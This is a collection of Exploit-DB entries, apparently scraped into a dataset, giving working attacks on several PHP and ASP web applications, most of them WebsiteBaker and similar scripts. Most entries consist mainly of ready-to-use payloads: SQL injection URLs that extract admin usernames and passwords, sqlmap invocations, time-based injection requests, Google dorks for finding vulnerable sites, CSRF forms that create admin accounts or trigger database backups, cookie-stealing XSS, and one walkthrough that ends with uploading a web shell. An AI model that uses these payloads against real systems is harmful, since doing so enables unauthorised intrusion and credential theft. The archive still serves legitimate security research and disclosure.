deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4777
Description: WebSihirbazi 5.1.1 - 'pageid' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-24
Author: bypass

Exploit:
_________________________________________________________________________________
 ||----------------------------------------------------------------------
 |# Title : websihirbazi v5.1.1 Remote Blind SQL Injection Vulnerability|
 ||----------------------------------------------------------------------
 |# AUTHOR: bypas |
 ||----------------------------------------------------------------------
 |# script name : websihirbazi v5.1.1  | 200$ |
 ||----------------------------------------------------------------------
 |# scritp web page : http://www.sitehazirla.org |
 ||----------------------------------------------------------------------
 |# script admin panel : http://victim/script_path/yonetim |
 ||----------------------------------------------------------------------
 |# Google dork : |Powered By WebSihirbazÄ±
 ||----------------------------------------------------------------------
 |# Message Tr : Hayat Ä°llegal - / - bir daha taklit iÅŸ yapmayÄ±n emege saygÄ±lÄ± olun |
 ||----------------------------------------------------------------------
_________________________________________________________________________________

< / ----------------------------------------------------------------------------- />


< / ------   Example sql bug  :   ------ / > 


http://[target]/[script_path]/default.asp?page=news&id=-2+union+all+select+0,kullaniciadi,sifre,3+from+user


http://[target]/[script_path]/default.asp?pageid=-7+union+all+select+0,1,2,kullaniciadi,sifre,5+from+user


< / ----------------------------------------------------------------------------- />

# milw0rm.com [2007-12-24]
Exploit-DB #43238
Description: Website Auction Marketplace 2.0.5 - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Website Auction Marketplace 2.0.5 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://flippa-clone.com/
# Software Link: https://flippa-clone.com/
# Demo: https://demo.flippa-clone.com/
# Version: 2.0.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/search.php?cat_id=[SQL]
# 
# 29' UNION(SELECT(1),(2),(3),(4),concat(version(),0x7e494853414e2053454e43414e),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49),(50),(51),(52),(53),(54),(55),(56),(57),(58),(59),(60))-- -
# 
# https://server/search.php?cat_id=29' UNION(SELECT(1),(2),(3),(4),concat(version(),0x7e494853414e2053454e43414e),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49),(50),(51),(52),(53),(54),(55),(56),(57),(58),(59),(60))-- -
# 
# # # # #
Exploit-DB #35611
Description: Website Baker 2.8.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-04-12
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47332/info

Website Baker is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Website Baker 2.8.1 is vulnerable; other versions may also be affected. 

POST /admin/users/add.php HTTP/1.1

user_id=&username_fieldname=username_1hnuvyv2&username_1hnuvyv2=test&[CREDENTIAL_REDACTED]=password&display_name=test&email=test%40test.com&home_folder=123'SQL_CODE&groups%5B%5D=123'SQL_CODE&active%5B%5D=1&submit=Add


POST /admin/groups/add.php HTTP/1.1

advanced=no&group_id=&group_name=123%27SQL_CODE_HERE&module_permissions%5B%5D=code&module_permissions%5B%5D=form&module_permissions%5B%5D=menu_link&module_permissions%5B%5D=news&module_permissions%5B%5D=wrapper&module_permissions%5B%5D=wysiwyg&template_permissions%5B%5D=allcss&template_permissions%5B%5D=argos_theme&template_permissions%5B%5D=blank&template_permissions%5B%5D=classic_theme&template_permissions%5B%5D=round&template_permissions%5B%5D=simple&template_permissions%5B%5D=wb_theme&submit=Add
Exploit-DB #43067
Description: Website Broker Script - 'status_id' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Website Broker Script - 'status_id' Parameter SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/UwCG4464436/php-scripts/website-broker-script
# Demo: http://www.officialwebsiteforsale.com/official/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15992
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/status_list.php?status_id=[SQL]
# 
# -12'++/*!50000UNION*/+/*!50000SELECT*/+1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5--+-
# 
# Parameter: status_id (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: status_id=12' AND 2717=2717 AND 'fNVA'='fNVA
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 5 columns
#     Payload: status_id=-1351' UNION ALL SELECT NULL,CONCAT(0x71716b7a71,0x[PII_REDACTED]714d7a[PII_REDACTED]7643734d6b794f515a506d6469764f5666736c6d754c[PII_REDACTED],0x716a6b6271),NULL,NULL,NULL-- AJcv
# 
# Etc..
# # # # #
Exploit-DB #41539
Description: Website Broker Script 3.02 - 'view' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Website Broker Script v3.02 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/website-broker-script/
# Demo: http://www.officialwebsiteforsale.com/official/
# Version: 3.02
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/website_details_view.php?view=[SQL]
# For example;
# -224'+/*!50000union*/+select+1,2,3,4,0x496873616e2053656e63616e203c62723e7777772e696873616e2e6e6574,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32--+-
# admin_login :id
# admin_login :userid
# admin_login :password
# admin_users :user_id
# admin_users :username
# admin_users :password
# -224'+/*!50000union*/+select+1,2,3,4,0x496873616e2053656e63616e203c62723e7777772e696873616e2e6e6574,/*!50000ConCat(*/userid,/*!50000char*/(58),password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+admin_login--+-
# Etc...
# # # # #
Exploit-DB #12736
Description: Website Design and Hosting By Netricks Inc - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-25
Author: Dr.SiLnT HilL

Exploit:
    @@@@@@@@@  @@@@@@@@     @@@@        @@@     @@@        @@@@@@@@     @@@@@@@@@@@@
    @@@@@@@@@  @@@@@@@@    @@@@@@      @@@@@@  @@@@@@      @@@@@@@@     @@@@@@@  @@@
       @@@     @@          @@  @@     @@    @@ @@   @@     @@           @@    @@@@@@
       @@@     @@          @@  @@     @@    @@ @@   @@     @@           @@     
       @@@     @@@@@@      @@@@@@     @@    @@ @@   @@  -  @@@@@@@      @@
       @@@     @@@@@@      @@@@@@     @@    @@@@@   @@  -  @@@@@@@      @@  
       @@@     @@          @@  @@     @@            @@     @@           @@     @@@@
       @@@     @@          @@  @@     @@            @@     @@            @@      @@
       @@@     @@@@@@@@    @@  @@     @@            @@     @@@@@@@@       @@     @@ 
       @@@     @@@@@@@@    @@  @@     @@            @@     @@@@@@@@        @@@@@@@@  Dr.SiLnT HilL


===================================================================================================================================
                    Website Design and Hosting By Netricks, Inc (news.php) SQL Injection Vulnerability
===================================================================================================================================



####################################################################################################################################

# Name: Website Design and Hosting By Netricks, Inc.

# Date: 25-05-2010

# vendor: http://www.netricks.com

# Dork: intext:" Website Design and Hosting By Netricks, Inc."

# Discovered By: Dr.SiLnT HilL

# Contact : i0x0@hotmail.com

# MY Team : TeaM HacKer Egypt

###################################################################################################################################



[+] SQL Injection Vulnerability:


[+] Vulnerability: http://[site]/[path]/news.php?ax=v&n=10&id=10&nid==[SQL Injection]


[+][+] Exploit [+][+]


 http://[site]/[path]/news.php?ax=v&n=10&id=10&nid=-3+union+select+1,group_concat(username,0x3e,password),3,4,5+from+php_users--


[+][+] Admin Panel [+][+]


http://localhost/[path]/admin


[+][+] Upload your shell [+][+]


http://[site]/[path]/admin/content.php?ax=file_upload



[+][+] your shell [+][+]


http://[site]/[path]/gallery/shell.php


[+][+] Example [+][+]


###################################################################################################################################
Exploit-DB #32455
Description: Website Directory - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-10-03
Author: Ghost Hacker

Exploit:
source: https://www.securityfocus.com/bid/31562/info

Website Directory is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

#!/usr/bin/perl
##################################
# Coded And Found by Ghost Hacker                                     #
# Home www.Real-h.com                                                         #
# Email Ghost-r00t[at]hotmail[dot]com                                #
##################################

use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;

print "\t\t########################################################\n\n";
print "\t\t# Website Directory - XSS Exploit                      #\n\n";
print "\t\t# by Ghost Hacker [Real-h.com]                         #\n\n";
print "\t\t# Dork : Powered by MaxiScript.com                     #\n\n";
print "\t\t########################################################\n\n";


if (!$ARGV[0])
{
print "  Author   : Ghost Hacker\n";
print "  Home     : www.Real-h.com\n";
print "  Email    : Ghost-r00t[at]Hotmail[dot]com\n";
print "  Download : http://www.maxiscript.com/websitedirectory.php\n";
print "  Usage    : perl Ghost.pl [Host]\n";
print "  Example  : perl Ghost.pl http://Real-h.com/path/\n";
}

else
{

$web=$ARGV[0];
chomp $web;

$iny="index.php?keyword=Xss_Hacking&action=search";

my $web1=$web.$iny;
print "$web1\n\n";
my $ua = LWP::UserAgent->new;
my $req=HTTP::Request->new(GET=>$web1);
$doc = $ua->request($req)->as_string;

if ($doc=~ /^root/moxis ){
print "Web is vuln\n";
}
else
{
print "Web is not vuln\n";
}

}
Exploit-DB #48849
Description: WebsiteBaker 2.12.2 - 'display_name' SQL Injection (authenticated)
Type: webapps
Platform: php
Date: 2020-10-01
Author: Roel van Beurden

Exploit:
# Exploit Title: WebsiteBaker 2.12.2 - 'display_name' SQL Injection (authenticated)
# Google Dork: -
# Date: 2020-09-20
# Exploit Author: Roel van Beurden
# Vendor Homepage:  https://websitebaker.org
# Software Link: https://wiki.websitebaker.org/doku.php/en/downloads
# Version: 2.12.2
# Tested on: Linux Ubuntu 18.04
# CVE: CVE-2020-25990


1. Description:
----------------------
WebsiteBaker 2.12.2 allows SQL Injection via parameter 'display_name' in /websitebaker/admin/preferences/save.php.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.


2. Proof of Concept:
----------------------
In Burpsuite intercept the request from /websitebaker/admin/preferences/save.php and save it like burp.req
Then run SQLmap to extract the data from the database:

sqlmap -r burp.req --risk=3 --level=5 --dbs --random-agent


3. Example payload:
----------------------
display_name=Administrator" AND (SELECT 9637 FROM (SELECT(SLEEP(5)))ExGN)-- Cspz&language=EN&timezone=system_default&date_format=M d Y&time_format=g:i A&email=admin@example.com&new_password_1=&new_password_2=&current_[CREDENTIAL_REDACTED]=Save&dd114892c1676ce3=j_5rdRnI_TarPQu7QmVVuw


4. Burpsuite request:
----------------------
POST /websitebaker/admin/preferences/save.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/websitebaker/admin/preferences/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Connection: close
Cookie: wb-8123-sid=otfjsmqu8vljs9737crkcm8nec
Upgrade-Insecure-Requests: 1

display_name=Administrator&language=EN&timezone=system_default&date_format=M+d+Y&time_format=g%3Ai+A&email=admin%40example.com&new_password_1=&new_password_2=&current_[CREDENTIAL_REDACTED]=Save&dd114892c1676ce3=j_5rdRnI_TarPQu7QmVVuw
Exploit-DB #13938
Description: WebsiteBaker 2.8.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-06-19
Author: Luis Santana

Exploit:
# Author: Luis Santana
# Software Link: http://www.websitebaker2.org/modules/download_gallery/dlc.php?file=88&id=[PII_REDACTED]
# Version: 2.8.1
# Tested on: All
# Code : http://hacktalk.net/exploits/websitebakercsrfPOC.zip

The full advisory can be found at
http://hacktalk.net/exploits/websitebakerCSRF.txt

Regards,
Luis Santana
Admin - http://hacktalk.net
HackTalk Security

<h1>WebsiteBaker 2.8.1 CSRF Proof of Concept By Luis Santana HackTalk Security</h1>
<form name="user"action="http://demo.opensourcecms.com/websitebaker/admin/users/add.php" method="post" class="">
<input type="hidden" name="user_id" value="" />
<input type="hidden" name="username_fieldname" value="username_08y7h65u" />

<table cellpadding="5" cellspacing="0" border="0" width="100%">
<tr>
<td width="150">Username:</td>
<td class="value_input">
<input type="text" name="username_08y7h65u" maxlength="30" value="" />
</td>
</tr>
<tr>
<td>Password:</td>

<td class="value_input">
<input type="password" name="password" maxlength="30" />
</td>
</tr>
<tr>
<td>Re-type Password:</td>
<td class="value_input">
<input type="password" name="password2" maxlength="30" />
</td>

</tr>
<tr style="display:none;">
<td> </td>
<td style="font-size: 10px;">
Please note: You should only enter values in the above fields if you wish to change this users password
</td>
</tr>
<tr>
<td>Display Name:</td>
<td class="value_input">
<input type="text" name="display_name" maxlength="255" value="" />

</td>
</tr>
<tr>
<td>Email:</td>
<td class="value_input">
<input type="text" name="email" maxlength="255" value="" />
</td>
</tr>
<tr style="">
<td>Home Folder:</td>

<td class="value_input">
<select name="home_folder">
<option value="">None</option>

<option value="/testbild" >/media/testbild</option>
</select>
</td>
</tr>
<tr>

<td>Group:</td>
<td class="value_input">
<select name="groups[]" multiple="multiple" size="5">

<option value="1" >Administrators</option>
</select>
</td>
</tr>
<tr>

<td> </td>
<td>
<input type="radio" name="active[]" id="active" value="1" checked="checked" />
<label for="active">Active</label>
<input type="radio" name="active[]" id="disabled" value="0" />
<label for="disabled">Disabled</label>
</td>
</tr>

<tr>
<td> </td>
<td>
<input type="submit" name="submit" value="Add" />
<input type="reset" name="reset" value="Reset" />
</td>
</tr>
</table>

</form>


<p>Greetz to Shardy, Xires and Stacy, Rage, and n3xus</p>
Exploit-DB #11883
Description: WebsiteBaker 2.8.1 - DataBase Backup Disclosure
Type: webapps
Platform: php
Date: 2010-03-25
Author: Tr0y-x

Exploit:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Exploit Title : WebSiteBaker 2.8.1 DataBase Backup Exploit

Date : 25 - 3 - 2010

Author : Tr0y-x

Version : 2.8.1 & May Be Later

Tested On : Windows & Linux

My Home : WwW[DoT]SeC-WaR[DoT]CoM

Contact Me : Eg[At]Hack[DoT]Cl

::::::::::::::::::::::::::::::::::::::Exploit:::::::::::::::::::::::::::::::::::::::

<title>WebSiteBaker 2.8.1 DataBase Backup</title>

  <p align="center"> </p>
        <p align="center"><b><font size="5" color="#008000">WebSiteBaker 2.8.1
        DataBase </font></b><font size="5" color="#008000"><b>Backup</b></font></p>
        <p align="center"><font size="5" color="#FFFFFF"><b>By : Tr0y-x</b></font></p>
        <p align="center"><font size="5" color="#008000"><b>
        <a href="http://WwW.SeC-WaR.CoM<http://www.sec-war.com/>" style="text-decoration: none">WwW[DoT]SeC-WaR[DoT]CoM</a></b></font></p>
        <p align="center"><font size="5" color="#FF6666"><b>Eg[At]Hack[Dot]Cl</b></font></p>

        <p align="center"> </p>

<body bgcolor="#000000">

<form name="prompt" method="post" action="http://[Site]/[Path]/modules/backup/backup-sql.php">
        <p align="center"><font color="#FF0000">
  <input type="radio" checked="checked" name="tables" value="ALL"><b>Backup
        all tables in database</b><br>
  <input type="radio" name="tables" value="WB"><b>Backup only WB-specific
        tables</b><br><br>
 <input type="submit" name="backup" value="Backup Database" />
        </font></p>
</form>
<p align="center"> </p>
<p align="center"><b><font color="#FFFFFF">Greetz : Alnjm33 - Predator - xXx -
Shooter  - Jamba - Jago-dz & All Sec-War.Com Members</font></b></p>
<p align="center"><font color="#FFFFFF"><b>Specially To My Best Friend XR57</b></font></p>

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Greetz : Alnjm33 - Predator - xXx - Shooter  - Jamba - Jago-dz & All Sec-War.Com Members

                              Specially To My Best Friend XR57
Exploit-DB #23993
Description: WebsiteBaker Addon Concert Calendar 2.1.4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-01-09
Author: Stefan Schurtz

Exploit:
Advisory:		Websitebaker Add-on 'Concert Calendar 2.1.4' XSS & SQLi vulnerability
Advisory ID:		SSCHADV2013-001
Author:			Stefan Schurtz
Affected Software:	Successfully tested on Concert Calendar 2.1.4
Vendor URL:		http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37
Vendor Status:		informed

==========================
Vulnerability Description
==========================

Websitebaker Add-on 'Concert Calendar 2.1.4' is prone to a XSS and SQLi vulnerability

==========================
Vuln code
==========================

// view.php

if (isset($_GET['date'])) {
        $date = $_GET['date'];
}
.
.
.
// SQLi
$query_dates = mysql_query("SELECT * FROM ".TABLE_PREFIX."mod_concert_dates WHERE section_id = '$section_id' && concert_date = '$date'"); // Zeile 184

// XSS

echo " ".switch_date($date, $dateview)." "; // Zeile 176

==========================
PoC-Exploit
==========================

// SQLi (magic_quotes = off)

http://[target]/wb/pages/addon.php?date=[SQLi]

// XSS

http://[target]/wb/pages/addon.php?date='"><script>alert(document.cookie)</script>

==========================
Solution
==========================

-

==========================
Disclosure Timeline
==========================

01-Jan-2013 - developer informed 

==========================
Credits
==========================

Vulnerabilities found and advisory written by Stefan Schurtz.

==========================
References
==========================

http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37
http://www.darksecurity.de/advisories/2012/SSCHADV2012-022.txt
Exploit-DB #51349
Description: WebsiteBaker v2.13.3 - Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-04-08
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: WebsiteBaker v2.13.3 - Cross-Site Scripting (XSS)
Application: WebsiteBaker
Version: 2.13.3
Bugs:  Stored XSS
Technology: PHP
Vendor URL: https://websitebaker.org/pages/en/home.php
Software Link: https://wiki.websitebaker.org/doku.php/en/downloads
Date of found: 02.04.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps: 

1.Anyone who has the authority to create the page can do this
payload: %3Cimg+src%3Dx+onerror%3Dalert%281%29%3E


POST /admin/pages/add.php HTTP/1.1
Host: localhost
Content-Length: 137
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: klaro=%7B%22klaro%22%3Atrue%2C%22mathCaptcha%22%3Atrue%7D; PHPSESSID-WB-0e93a2=pj9s35ka639m9bim2a36rtu5g9
Connection: close

b7faead37158f739=dVhd_I3X7317NvoIzyGpMQ&title=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&type=wysiwyg&parent=0&visibility=public&submit=Add



2. Visit http://localhost/